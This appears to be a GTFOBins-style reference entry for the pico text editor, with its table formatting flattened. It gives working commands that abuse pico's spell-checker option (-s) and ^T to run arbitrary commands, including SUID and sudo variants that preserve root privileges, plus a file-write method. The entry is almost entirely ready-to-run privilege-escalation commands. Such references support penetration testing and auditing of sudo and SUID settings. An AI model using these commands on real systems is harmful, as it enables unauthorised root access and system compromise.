description |
code |
After running this exit the editor to see the command output. |
COMMAND=id
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
pico -s $TF /etc/hosts
^T
|
|
|
code |
pico file_to_write
DATA
^O
|
|
|
|
description |
code |
After running this exit the editor to see the command output. |
COMMAND=id
TF=$(mktemp)
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
chmod +x $TF
./pico -s $TF /etc/hosts
^T
|
|
|
description |
code |
After running this exit the editor to see the command output. |
COMMAND=id
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo pico -s $TF /etc/hosts
^T
|
|
|